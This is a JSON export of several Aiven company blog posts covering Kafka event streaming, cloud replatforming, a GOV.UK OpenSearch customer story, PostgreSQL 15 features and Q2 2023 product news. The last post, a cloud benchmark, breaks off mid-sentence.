{"__i18n_lang":"en","_createdAt":"2022-11-07T08:06:54Z","_id":"d8f581eb-471c-439e-a87b-b7596812f19d","_rev":"neae7oL4y1FotDvvR1pbfJ","_type":"post","_updatedAt":"2024-07-09T12:55:01Z","authors":[],"body":"## Introducing James Job AG\nI’m Nick, and I work at James Job, a startup that’s revolutionizing the way you find job openings to match your skills.\n\nIt can be tedious combing through job ads to find the right job for you, so we decided to make it easier. With James Job you define your SkillSet and we calculate the matching job ads for you, with no more searching needed.\n\nAs a result, we have an architecture that calculates a lot of things behind the scenes to only show you the relevant job ads. Changes that happen (job ad changes, you gaining a new skill, and so on), again triggers many calculations in our systems. It’s absolutely vital for us to have a solid infrastructure to fulfill this need - and Apache Kafka® gives us the perfect backbone.\n\nAs a startup, it is also very important to us that new ideas, use cases and more can be built fast and in a flexible way. This is where data in motion and infinite retention (where needed) plays right into our hands.\n\nAnd if this wasn’t enough, we are also huge fans of Aiven’s Crabby ;)\n\n## The communication challenge\nThe rise of micro and nano services ultimately means that more components need to be connected. While we can achieve this over APIs, RPC, etc., this also means close coupling of components. A change to one service can cause ripples of subsequent changes. I like to think that with events, everything is more free and flexible.\n\nAny service can start sending and listening to events. It's an open world of data flowing through your system, and that opens up many possibilities. I’ll outline some of the benefits and challenges in the following sections.\n\nWhile we already have a lot of data, in most cases it is at rest - in databases, indices, files, and so on. To get the data we need, we have to overcome certain hurdles.\n\nWe need to know:\n\n- Where to find it (many data systems and structures)\n- How to access it (integration)\n- How the data structure works (there’s generally no documentation)\n\nUsing events:\n\n- Access to your data is streamlined\n- Data structure is documented (Avro, Protobuf, etc.)\n- Data is easy to find, with good naming policies\n\n## The system is never really down\nLet's start with a simple example: a user signup.\n\nSignup processes can vary from a couple of input fields to several pages.\nMost frustrating of all, when you reach the end, you click the **Signup** button and get an error to try again later! This is not only frustrating, it’s also very unspecific and not exactly helpful.\n\nIf we’re using events, we can minimize impact for the user when the signup service is down.\n\nAll we need to do is send the event to Apache Kafka®, which is built for high availability.\n\nAs soon as the signup service recovers, the signup event is processed and the user receives an email that the account is successfully created.\n\nWhile it is still bothersome that the account was not created immediately, the user doesn’t have to go through the signup process again. A definite win for all.\n\n## History repeats itself\nHistory repeating itself is very real - and absolutely beneficial in event streaming.\n\nWith Apache Kafka® you can choose infinite retention for your events. How can this be useful?\n\nLet’s say, after one year, we decide we want to reward our first hundred customers with a surprise gift, but we forgot to save the creation date for our users.\n\nWithout events this would be an impossible hurdle. But with events, we can replay our signup event and find our lucky winners.\n\nWhile this isn't exactly a likely scenario, it shows how we can replay our events to build new use cases with historical data.\n\nBuilding new services from the ground up gets easier once we no longer need to extract and transform data from existing systems. All we have to do is:\n\n- Identify the data streams we need\n- Replay historical events\n- Persist / Transform / React to these events as needed\n\nThis has saved me time in many use cases over the years. It encourages you to think more about your data and it makes many things easier.\n\nInstead of trying to have a data structure that fits every need, it is easy to build custom data projections if a component needs it. As a result, all your components become more independent along the way.\n\n## Being late\nSending events means that something will happen at a certain point in time.\nIn some cases you’ll be dependent on other things happening in your system.\nSince everything is decoupled, there is no way to communicate with components directly.\n\nSo, let’s assume a user registers with an email and a postal address. Let’s also say we choose two events for that:\n\n- User account event\n- User address event\n\nAfter signing up, the user is redirected to their profile. Since these events are processed by different systems, the following could happen:\n\n- The user account is still being created\n- The address service is down\n- The address service is up but is faster than the user services\n\nThese kinds of problems always exist, even when data is at rest - but with events, we tend to think about it more often, which is definitely a good thing.\n\nUncertainty poses challenges for our systems, so how can we solve this in an event-driven architecture?\n\nAny of the following things (and many more) help us build better systems:\n\n- Resiliency concerning missing data\n- Flexible data loading (e.g. loading skeletons)\n- Live events about what’s happening in other components (push notifications)\n\nIn the case of the address service being slower, for example, we’d already see our account information, and the address would have a loading state and refresh immediately after the data becomes available (push vs. poll).\n\nApache Kafka® is built for very high throughput, so in many scenarios the delay won’t even be noticeable, but it is always good to keep the unexpected in mind.\n\n## In conclusion\nAs with any technology, there are benefits and challenges. Over the years I’ve found that the benefits of an event streaming architecture by far outweigh the challenges.\n\nThere is a learning curve to Apache Kafka®, don’t let that discourage you!\nOnce you embrace the “event first” mindset, your application becomes more resilient, stable and flexible. You’ll see many new opportunities and use cases open up, as Apache Kafka has a great ecosystem of integrations.\n\nIt has been an incredible journey so far and I can't wait to see where it will take me next.\n\nI want to thank the whole Aiven team for being an awesome and reliable partner that helped us grow our architecture over the years 💖\n\n### About Nick\n\nNick Chiu is the CTIO of [James Job AG](https://jamesjob.com/), a startup that provides job seekers with the best job matches, taking minimal effort. He’s worked in the software services building area for over 20 years and has had the opportunity to work in many different industries, which helped him gain a lot of insight into solution architecture. He’s been focusing on event driven systems for 5 years now, which has proven to be a great blueprint for the many solutions he’s built over the years. He loves food and manga.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\n\n## Further reading\n\n- [Introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"1baca99d8a92","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"0c3132aea977","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8c0a277d1112","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-a5d16a4deb05da1675ab3bfa60b8d7216bdac36c-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-09T10:24:57.362Z","related":[{"_key":"b55169420cf2","_ref":"4lLkmyrsLLZ2asRfGakbUs","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Find out about challenges some innovators in our data community face, and how event streaming has helped meet the challenge (with a bit of help from friends).","metaTitle":"Event streaming can solve your problems"},"slug":{"_type":"slug","current":"/blog/solving-problems-with-event-streaming"},"subtitle":"Find out about the challenges some of the amazing innovators in our data community are facing, and how event streaming has helped them meet those challenges (with a little bit of help from their friends).","title":"Solving problems with event streaming"} {"__i18n_lang":"en","_createdAt":"2023-01-10T11:31:03Z","_id":"31bd6760-3411-4c1c-8164-9a8e2242d8bf","_rev":"lhvtNBOlLYH5KiQFQ8YKul","_type":"post","_updatedAt":"2024-01-29T15:37:46Z","authors":[{"_key":"f02eed46dd41","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"As the observability market and its supporting technology have evolved, open source has become central to solving the data collection challenge. The bigger difficulty is scaling the data storage and improving analytics along with visualization. With technologies like [OpenSearch®](https://aiven.io/opensearch) and [Prometheus](https://aiven.io/docs/platform/howto/integrations/prometheus-metrics), we’ve seen new databases and data platforms take their place in many organizations to solve observability. \n\nThere are two major reasons for this change: \n\n- Re-instrumenting applications and infrastructure when observability tooling changes is expensive and time-consuming. \n- Organizations are tired of vendor lock-in where it comes to observability tooling.\n\n## Fighting the tide\nThe last of the current generation of observability tools are fighting hard to preserve their proprietary instrumentation, but it's only a matter of time before they must support open source. And lip service won’t be enough--they’ll have to provide meaningful support, equivalent to the way they have supported their own proprietary instrumentation. \n\nAs a longtime practitioner, analyst, engineering, and product leader, this is the reason I’ve focused on open source observability in my career for the last 3 years. I believe we have to look at the bigger picture of data platforms. This is why I joined Aiven recently. My hypothesis is that the observability and monitoring market will undergo a similar evolution that data platforms have been undergoing. \n\nThe same trend with proprietary components is apparent in data platforms and architectures. The major cloud providers are making the same mistake: creating proprietary components in their service offerings. For example, why would a cloud provider build their own messaging components, or database query languages, or APIs? Proprietary components create challenges for users who try to create portable environments. The users become locked in. \n\nSome cloud providers are better at adopting open source software, but most of them do so in concert with a proprietary system. All major cloud providers have weaknesses in their open source offerings and compatibility, the depth of the lock-in is what varies between their service offerings.\n\n## The open source advantage\nThese are the primary reasons why I believe that Aiven’s approach of open source based data platforms and streaming which are fully portable, migratable, and easily managed across clouds is an advantage. I do not know of any other tools that can move these critical components across clouds with a click of a button or an API call, with little to no downtime. It’s impressive on many fronts, and the ease of management is unsurpassed. \n\n\u003e *I do not know of any other tools that can move these critical components across clouds with a click of a button or an API call, with little to no downtime.*\n\nMoving across clouds is more relevant than ever. Most organizations seem to undertake re-platforming their components every 5 years in good economic times. In the current economic downturn and the high cost of cloud services, these timelines for cloud portability will likely accelerate. It is therefore essential for the data platform to support all the major clouds along with portability. \n\nBeing able to move services easily helps you find the best possible pricing with cloud providers, by solving the migration of core data services. Keeping cloud providers competing with one another is critical in optimizing IT spend and can lead to considerable cost savings.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=the-replatforming-challenge\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## Data pipelines of the future\nThe future path for our data platform is to incorporate more user-defined code and application code to extend the platform within Aiven’s walls. These data pipelines, driven by open source technologies, provide flexibility to recompose and analyze data in unique ways. \n\nThis will be critical for the creation of future-proof data architectures. This in turn allows supporting code for the data pipeline to run close to the database or streaming platforms themselves. \n\nWe are so excited by what [Apache Flink®](https://aiven.io/flink) and [Apache Kafka® Connect](https://aiven.io/kafka) can do for the Aiven platform. Expect more news on these trends soon. \n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"f0cf3f1a73a3","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"2c5b0c8a785c","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-90d9df32035e728692777fc6626f22ff154e4b4a-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-01-16T13:59:49.277Z","related":[{"_key":"3a55308dbad5","_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"},{"_key":"1a499a5559dc","_ref":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_type":"reference"},{"_key":"e29f65865222","_ref":"c9fb1065-9cdd-4552-addb-b4f76b92901e","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven overcoming obstacles in replatforming | Read more"},"slug":{"_type":"slug","current":"/blog/the-replatforming-challenge"},"subtitle":"The observability market is evolving towards open source, and for good reasons. Find out where Jonah Kowall thinks it's going.","title":"The replatforming challenge"} {"__i18n_lang":"en","_createdAt":"2022-07-04T12:14:42Z","_id":"4UiFOlqBKJ2Da9HxhJFdR2","_rev":"neae7oL4y1FotDvvR2MiT9","_type":"post","_updatedAt":"2024-07-09T13:54:48Z","authors":[],"body":"Aiven, a company combining open source streaming and data management technologies with cloud infrastructure is proud of its work with Government Digital Service (GDS) since 2018, helping government departments, arms-length bodies and local services use Aiven’s services with no additional procurement or information assurance due diligence. \n\n[The GOV.UK Platform as a Service (PaaS)](https://gov.uk/ \"GOV.UK\") product was created through the work of GDS in 2015 and now hosts more than 60 departments and public sector organisations.\n\n\nGDS is a unit of the UK Government’s Cabinet Office tasked with transforming the provision of online public services. Set up in 2011, it was established to improve the way the Government built new technology platforms and transform how it publishes and digitises its services. It’s widely seen as the gold standard of government digital strategies, influencing similar initiatives in the United States, Canada, and beyond.\n\n![GOV.UK Customer Story London](//cdn.sanity.io/images/sczeoy4w/production/92461d4f7b72f09ed7f100d4457450b04f964609-1200x640.jpg)\n\nThe GOV.UK PaaS is part of the Government as a Platform programme, a vision for digital government based around a common core infrastructure of shared digital systems, technology, and processes on which it’s easy to build user-centric government services. \n\nA major requirement for GOV.UK PaaS is to provide a powerful search service on its cloud hosting platform because the ability to search is imperative for many government services. The GOV.UK PaaS team had already settled on the then open source project Elasticsearch as the technology on which to build its search solution. However, it needed an Elasticsearch provider which could match its requirements for APIs, security, information assurance, performance, and price.\n\nGOV.UK PaaS, therefore, laid out a series of requirements for its commercial Elasticsearch service provider:\n\n- A public REST API to manage the lifecycle of the service\n- An API to manage the lifecycle of API tokens\n- An API to manage the platform in general\n- Strong security, with full compliance\n- High performance\n- Reasonable price\n- A partner that was flexible and willing to work with GOV.UK in fulfilling any gaps in the offering provided the asks were reasonable\n\nThe GOV.UK PaaS team was also looking to utilise open source technologies where possible, so it was looking for a service provider that embraced open source too, with Aiven for OpenSearch chosen by the UK Government.\n\nHeikki Nousiainen, CTO of Aiven commented, “We are delighted to have expanded our offering with GDS over the years. Since the contract began in 2018, Aiven’s solution has been able to meet the GOV.UK PaaS requirements, having been the only provider shortlisted that published APIs to manage all aspects of the service.” \n\n----\n\nAre you leaving Elasticsearch to keep your business open source? [Learn how to migrate your Elasticsearch client to OpenSearch®](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) in Python, Java and Node.js.\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay up to date with our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n## Further reading\n\n- [Life after the GOV.UK PaaS](https://aiven.io/blog/life-after-the-gov-uk-paas)\n","categories":[{"_key":"6FWlUxDXERbtNrYX2asRv6","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"cTFgXaFCq9wmNPSKbqAxq","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b-1920x1037-jpg","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-04T00:00:00.000Z","seo":{"metaDescription":"Aiven for OpenSearch was chosen by the UK Government to run search for its expansive GOV.UK Platform as a Service.","metaImage":{"alt":"","asset":{"_ref":"image-65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844-png","_type":"reference"}},"metaTitle":"Aiven for OpenSearch was chosen for GOV.UK [Customer Story]"},"slug":{"_type":"slug","current":"/blog/aiven-for-opensearch-was-chosen-for-gov-uk-customer-story"},"subtitle":"Aiven for OpenSearch was chosen by the UK Government to run search for its expansive GOV.UK Platform as a Service.","title":"Aiven for OpenSearch was chosen for GOV.UK"} {"__i18n_lang":"en","_createdAt":"2023-01-24T06:10:49Z","_id":"960bf5f6-3b4e-40d9-a78a-114f31759cda","_rev":"wrL3XfbFeRNCpCZoxxHRE4","_type":"post","_updatedAt":"2024-07-11T08:41:15Z","authors":[{"_key":"a7288a372692","_ref":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_type":"reference"}],"body":"After only a three-month gap since its October release, we’re delighted to bring PostgreSQL® 15 to Aiven. The new version comes with a wealth of new capabilities and performance enhancements that make managing workloads in local and distributed environments more efficient, and provide a better developer experience. \n\n## Release highlights\n### Better sort performance and compression \n[According to the PostgreSQL Global Development Group](https://www.postgresql.org/about/news/postgresql-15-released-2526/), PostgreSQL 15’s new algorithms for both in-memory and on-disk sorting result in 25-400% performance improvements. New window functions also enhances performance, as does parallel execution of `SELECT DISTINCT` queries.\n\n\n### Developer features\nThe SQL standard `MERGE` command has been added to PostgreSQL 15, allowing you to to conditionally `INSERT`, `UPDATE` or `DELETE` rows.\n\nYou can also now inspect strings with regular expressions including `regexp_count(),` `regexp_instr()`, `regexp_like()`, and `regexp_substr()`.\n\nThe aggregation function has been extended to multirange data types.\n\n### Other changes\n\n- Updated public schema permissions: the PUBLIC schema is no longer writable by default.\n- In logical replication, PostgreSQL 15 now provides row filtering and column lists for publishers.\n- You can now set the ICU collation as default for a cluster or an individual database.\n- Allows unique constraints and indexes to treat NULL values as not distinct\n- Allows foreign key `ON DELETE SET` actions to affect only specified columns\n\nTo find out more about these and all the other new features, check out the [PostgreSQL web page](https://www.postgresql.org/about/news/postgresql-15-released-2526/).\n\n## Get started with PostgreSQL 15\nUpgrade to PostgreSQL 15 to take advantage of these features. If you already use Aiven for PostgreSQL, you can [run an in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) to migrate to the newest version.\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n\n## Further reading\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)","categories":[{"_key":"4ed8ece0ef9f","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"a20490c3c8f4","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-03T12:09:54.808Z","related":[{"_key":"1989e08c7078","_ref":"5xYduY1JNWW2r0A65rR3iz","_type":"reference"},{"_key":"c8b278aecbd0","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"d6f12ecc7ad9","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-postgresql-15"},"subtitle":"Aiven brings PostgreSQL® version 15 to your data infrastructure. Find out what the key improvements are and how you can get the new version.\n","title":"Announcing Aiven for PostgreSQL® 15"} {"__i18n_lang":"en","_createdAt":"2023-07-31T12:54:01Z","_id":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_rev":"jlE3yG3C5Lxk0cUOqcohfa","_type":"post","_updatedAt":"2024-05-27T12:38:52Z","authors":[{"_key":"84167cb05c51","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"Time flies here at Aiven! Last quarter was a busy one with our team releasing many new products and features that enable our existing and new customers to decrease their Total Cost of Ownership (TCO), integrate vector search with operational data, add High Availability (HA) to the management of their Kafka infrastructure and much more. Take a closer look at some of the main product launches in Q2 2023 below! \n\n\n### Aiven introduced free plans for PostgreSQL®, MySQL and Redis®*\n\nBack in April 2023, Aiven introduced free plans for all for Aiven for PostgreSQL, Aiven for MySQL, and Aiven for Caching to support the company’s mission to build the trusted open source data platform for everyone and enable developers around the world with the best open source data and streaming technologies.\n\nThe free plans are available across [nine AWS regions globally], and have the following specifications:\n\n- Single node\n- 1 CPU\n- 1GB RAM\n- For PostgreSQL and MySQL: 5GB storage\n\nThe free plans are designed to support developers who might be kicking off a new project or exploring alternatives to an existing solution, and can now easily get started with popular open source databases at no cost. What's more, if they need extra capacity, users of the free plans can easily upgrade to a paid plan with no interruption.\n\nAlongside the free service plans, we also launched the [Aiven Community Forum](https://aiven.io/community/forum/) - a space for developers to collaborate, share knowledge and help others with the applications they are building with open source data technologies. Users can share what they are working on, get support on challenges that they are facing, ask questions and get answers. If you haven’t joined the Community Forum yet, you can join today [here](https://aiven.io/community/forum/) and introduce yourself to the community.\n\n\n### Aiven’s Bring-Your-Own-Cloud (BYOC) deployment model reaches general availability\n\nIn May 2023, Aiven introduced a new deployment model for the Aiven Platform enabling customers to achieve a lower Total-Cost-of-Ownership (TCO) while keeping full control of their data. Bring-Your-Own-Cloud (BYOC) allows customers to deploy Aiven services directly into their own public cloud account - and enjoy the Aiven service experience across all 11 of the open source services that we provide. \n\nBring-Your-Own-Cloud (BYOC) connects a customer’s own AWS, Google Cloud, or Microsoft Azure VPC to the Aiven platform, making it possible to deploy Aiven services directly to their own cloud account. This means that all compute, storage, and networking infrastructure services - and associated costs - remain under a customer’s direct control.\n\n\n![How Bring Your Own Cloud (BYOC) works](https://cdn.sanity.io/images/sczeoy4w/production/bcd923a433c0375eb13233df964e7ac3dcf24c97-1500x620.webp?w=450)\n\nFind out more in our blog: [Optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc)\n\n\n### Aiven brings [Vector Search](https://aiven.io/developer/find-faces-with-pgvector) capabilities in Aiven for PostgreSQL® with pgvector\n\nJune 2023 saw the release of the pgvector extension in Aiven for PostgreSQL, allowing developers to store vectorized data in the popular database, and perform similarity searches with SQL. The new pgvector extension bridges the gap between Machine Learning and transactional data while unlocking new capabilities on top of customer data such as:\n\n- The ability to **create a recommendation system** that only suggests products in stock with PostgreSQL's ACID features by joining product information and stock levels, then performing a vector search.\n- The option to **build an anomaly detection system** to understand patterns, by combining the power of [vector search](https://aiven.io/developer/find-faces-with-pgvector) and trend analytics, defining good behaviors, and generating alerts for non-compliant scenarios.\n- The capability to **build Natural Language Processing pipelines** to deliver tailored insights based on prompts, by taking advantage of the combination of Large Language Models (LLMs) and pgvector.\n\nExplore more of the unlocked use cases in our blog: [Enabling Vector Search in Aiven for PostgreSQL® with pgvector](https://aiven.io/blog/aiven-for-postgres-supports-pgvector)\n\n\n### Klaw version 2.4\n\nQ2 2023 saw the upgrade of Klaw, the open source Apache Kafka® governance tool driven by Aiven, to version 2.4. Klaw helps users of Apache Kafka to define team ownership over topics and connectors and allows approval flows corresponding to specific business unit organizations in Apache Kafka. The latest version brings additional features and capabilities, including: \n\n- Redesigned screens with React UI\n- Password reset with token\n- Enhanced email notifications\n- Improved error responses to UI\n\nFor a full list of the features added in [Klaw 2.4](https://www.klaw-project.io/docs/Releases/release240) check the [release announcement](https://www.klaw-project.io/docs/Releases/release240).\n\n\n### New additions to Aiven for Apache Flink®\n\nThe functionality of Aiven for Apache Flink was further enhanced in Q2 2023 with the addition of a built-in [CDC Connector for PostgreSQL](https://aiven.io/docs/products/flink/howto/pg-cdc-connector) and the ability to consume and produce data to any instance of Apache Kafka reachable by the Aiven services, whether it is managed by Aiven or not.\n\nThe new functionalities aim at providing a streaming SQL layer on top of your data, no matter where it resides. At the same time, they unlock new use cases such as capturing row changes to a PostgreSQL database with Change Data Capture (CDC) in real time.\n\n![Capture row changes to a PostgreSQL database in real time with Aiven's Change Data Capture (CDC) connector for Apache Flink](https://cdn.sanity.io/images/sczeoy4w/production/7bd351948fc9646acbecb64868fcd7ff64a29721-1500x753.webp?w=450)\n\nFor more information on the latest additions to Aiven for Apache Flink, check our blog: [What’s new with Aiven for Apache Flink® - Q2 2023]\n\n\n### Improved security with Aiven and GitHub's secret scanning partnership\n\nIn May 2023 we announced Aiven’s partnership with the GitHub secret scanning program to enable customers to scan private repositories for Aiven secrets and API tokens, something that was previously only possible on public repositories. This partnership further enhances the security of customers’ repositories on GitHub by helping customers keep their code and secrets safe.\n\nLearn more about the partnership in our blog: [Improving security: Aiven and GitHub's secret scanning partnership](https://aiven.io/blog/aiven-and-github's-secret-scanning-partnership)\n\n\n### Aiven expands its complete portfolio of technologies via self-service through the AWS Marketplace\n\n\nBack in April 2023, Aiven announced that the full power of its open source data platform is seamlessly available to AWS customers via the AWS Marketplace. The announcement marked a significant milestone with AWS with deeper collaboration and closer partnership. \n\nAmong other benefits, AWS customers can now seamlessly leverage their existing commitments with AWS to expand their tech stack with Aiven open source services. They can also take advantage of 40+ AWS service connectors such as CloudWatch, S3, VPC peering, Transit Gateway, and Private Link for easy integrations and security with existing AWS workloads.\n\nRead more in our blog: [Aiven Expands Data Platform on AWS Marketplace](https://aiven.io/blog/aiven-expands-data-platform-on-aws-marketplace)\n\n![Aiven Platform on the AWS Marketplace](https://cdn.sanity.io/images/sczeoy4w/production/30fcc0f6c96f43c3506730c67eeb5592208cfa24-1500x1459.webp?w=450)\n\n\n### Aiven customers can now update their support tier directly through the Aiven console\n\nFrom May 2023, all Aiven customers have the capability to [update their Support Tier directly through the Aiven Console](https://aiven.io/docs/platform/howto/change-support-tier). This greatly simplifies the customer experience by allowing the customer to directly select between Basic, Priority, Business, and Enterprise support in the Aiven Console.\n\n\n### Get started today\n\nThis was only a glimpse of the new features brought to you by Aiven in Q2 2023.\n\nIf you haven’t tried Aiven yet, be sure to sign up for a [free trial](https://console.aiven.io/signup) and get a first-hand experience of all the new functionality mentioned above or follow our [changelog](https://aiven.io/changelog) for the full list of updates on the Aiven Console.\n\nWe are also organizing a webinar where our product team will talk more about the capabilities developed in Q2 and give a glimpse of what’s coming in Q3 2023 and beyond. Be sure to sign up below.\n\n::banner[WEBINAR: What’s new with Aiven Q2/Q3 2023]{ctaText=\"Sign up today\" ctaLink=\"https://aiven.io/webinar/whats-new-with-aiven-q2q3-2023\" background=\"\" theme=\"dark\"}\n\nTo get the latest news about Aiven and our services, subscribe to our [monthly newsletter](https://aiven.io/newsletter)!\n\n","categories":[{"_key":"130d18986f2b","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Platform, open source data platform, data platform, PostgreSQL, Vector Search, pgvector, AWS marketplace, Apache Flink, product updates","asset":{"_ref":"image-78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628-png","_type":"reference"}},"publishedAt":"2023-08-02T08:13:00.000Z","related":[{"_key":"43aed1029b35","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"},{"_key":"58e0e7f1f88f","_ref":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_type":"reference"},{"_key":"534774189e77","_ref":"0d6dfe94-b3d8-4b4e-be11-228510ed43c9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"What’s new with the Aiven Platform in Q2 2023? Get the details of what our product and engineering teams released in the second quarter of 2023. ","metaImage":{"_type":"mainImage","alt":"Aiven Platform, open source data platform, data platform, PostgreSQL, Vector Search, pgvector, AWS marketplace, Apache Flink, product updates","asset":{"_ref":"image-78c551416272661fd8e013f5ba0fb7b7b169fd8f-1200x628-png","_type":"reference"}},"metaTitle":"What's new at Aiven: Q2/2023"},"slug":{"_type":"slug","current":"/blog/whats-new-at-aiven-q22023"},"subtitle":"What’s new with the Aiven Platform in Q2 2023? Get the details of what our product and engineering teams released in the second quarter of 2023. ","title":"What's new at Aiven: Q2/2023"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3yLuVWne7YQkrv7Uf5iokY","_rev":"neae7oL4y1FotDvvR2OMYJ","_type":"post","_updatedAt":"2024-07-09T14:05:25Z","authors":[{"_key":"18lKiN5RtOROLctA1YAtdZ","_ref":"18lKiN5RtOROLctA1YAtdZ","_type":"reference"}],"body":"At Aiven, we’ve run different [PostgreSQL cloud performance](https://aiven.io/blog/postgresql-cloud-performance) benchmarks since 2016. In this update, we’ve compared write performance metrics for PostgreSQL 13.4 between Amazon Web Services (AWS), Google Cloud Platform (GCP) and Microsoft Azure across four benchmarks.\n\nOur four benchmarks measured and compared the performance of PostgreSQL 13.4 running on AWS, GCP and Azure in each of the following four [Aiven managed PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") plan configurations:\n![PG Benchmark graphs tables2](//cdn.sanity.io/images/sczeoy4w/production/bee6bd09b5f590226bf801e0fca36ea1cc7133ed-1567x625.jpg \"Aiven plans tested\")\n## Method\nTo examine performance, we measured the number of database transactions per second while vertically scaling up the nodes. This way the number of nodes remained the same, but the amount of CPUs, RAM and storage on each node increased.\n\nWe generated load using pgbench, which we ran on another VM in the same cloud and region. The load generator commands for each plan were as 